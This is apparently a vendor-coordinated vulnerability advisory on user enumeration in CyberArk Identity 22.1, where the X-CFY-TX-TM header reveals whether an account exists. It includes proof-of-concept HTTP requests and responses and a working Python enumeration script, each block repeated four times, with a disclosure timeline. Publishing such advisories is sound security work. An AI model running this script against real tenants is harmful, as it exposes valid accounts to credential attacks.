CyberArk Identity 22.1 - User Enumeration
5.3
Medium
5.3
Medium
Discovered by

Offensive Team, Fluid Attacks
Summary
Full name
CyberArk Identity 22.1 User Enumeration
Code name
State
Public
Affected product
CyberArk Identity
Affected version(s)
22.1 and below
Fixed version(s)
22.2
Vulnerability name
User Enumeration
Vulnerability type
Remotely exploitable
Yes
CVSS v3.1 vector string
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
CVSS v3.1 base score
5.3
Exploit available
Yes
CVE ID(s)
Description
CyberArk Identity versions up to and including 22.1 in the StartAuthentication resource, exposes the response header X-CFY-TX-TM. In certain configurations, that response header contains different, predictable value ranges which can be used to determine wether a user exists in the tenant.
Proof of Concept
A request is sent with a known valid user
Request:
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 143 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 143 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 143 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 143 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"admin@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
Response:
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 109
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 109
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 109
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 109
In the cases when the user exists, the value of X-CFY-TX-TM is always less than 500.
A request is sent with a non existent user
Request:
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
POST /Security/StartAuthentication HTTP/1.1 Host: customer.my.idaptive.app Content-Length: 147 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36 Content-Type: application/json {"TenantId":"","User":"notexists@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}
Response:
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 1492
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 1492
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 1492
HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: application/json; charset=utf-8 X-CFY-TX-TM: 1492
In the cases when the user does not exist, the value of X-CFY-TX-TM is always above than 1000.
Exploit
The following code was used to enumerate valid users:
#!/usr/bin/env python # # Author: aroldan@fluidattacks.com import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication' RAW_DATA = '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}' JSON_DATA = json.loads(RAW_DATA) with open(sys.argv[1], 'r') as fd: USERS = [x.rstrip() for x in fd.readlines()] for USER in USERS: VALUE = 10000 PAYLOAD = JSON_DATA PAYLOAD['User'] = USER RESP = requests.post(URL, json=PAYLOAD) if 'X-CFY-TX-TM' in RESP.headers: VALUE = int(RESP.headers['X-CFY-TX-TM']) if VALUE < 1000: print(VALUE) print(f'[+] User {USER} exists.') else: print(f'[-] User {USER} not exists.')
#!/usr/bin/env python # # Author: aroldan@fluidattacks.com import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication' RAW_DATA = '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}' JSON_DATA = json.loads(RAW_DATA) with open(sys.argv[1], 'r') as fd: USERS = [x.rstrip() for x in fd.readlines()] for USER in USERS: VALUE = 10000 PAYLOAD = JSON_DATA PAYLOAD['User'] = USER RESP = requests.post(URL, json=PAYLOAD) if 'X-CFY-TX-TM' in RESP.headers: VALUE = int(RESP.headers['X-CFY-TX-TM']) if VALUE < 1000: print(VALUE) print(f'[+] User {USER} exists.') else: print(f'[-] User {USER} not exists.')
#!/usr/bin/env python # # Author: aroldan@fluidattacks.com import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication' RAW_DATA = '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}' JSON_DATA = json.loads(RAW_DATA) with open(sys.argv[1], 'r') as fd: USERS = [x.rstrip() for x in fd.readlines()] for USER in USERS: VALUE = 10000 PAYLOAD = JSON_DATA PAYLOAD['User'] = USER RESP = requests.post(URL, json=PAYLOAD) if 'X-CFY-TX-TM' in RESP.headers: VALUE = int(RESP.headers['X-CFY-TX-TM']) if VALUE < 1000: print(VALUE) print(f'[+] User {USER} exists.') else: print(f'[-] User {USER} not exists.')
#!/usr/bin/env python # # Author: aroldan@fluidattacks.com import json import requests import sys URL = 'https://<customer>.my.idaptive.app/Security/StartAuthentication' RAW_DATA = '{"TenantId":"","User":"test@customer.com","Version":"1.0","AssociatedEntityType":"Portal","AssociatedEntityName":"Portal","ZsoSessionId":""}' JSON_DATA = json.loads(RAW_DATA) with open(sys.argv[1], 'r') as fd: USERS = [x.rstrip() for x in fd.readlines()] for USER in USERS: VALUE = 10000 PAYLOAD = JSON_DATA PAYLOAD['User'] = USER RESP = requests.post(URL, json=PAYLOAD) if 'X-CFY-TX-TM' in RESP.headers: VALUE = int(RESP.headers['X-CFY-TX-TM']) if VALUE < 1000: print(VALUE) print(f'[+] User {USER} exists.') else: print(f'[-] User {USER} not exists.')
Credits
The vulnerability was discovered by Andrés Roldán from the Offensive Team of Fluid Attacks.
References
Timeline
Sep 28, 2021
Vulnerability discovered
Feb 5, 2022
Vendor contacted
Feb 16, 2022
Vendor replied
Feb 28, 2022
Vulnerability patched
Mar 3, 2022
Public disclosure
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Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
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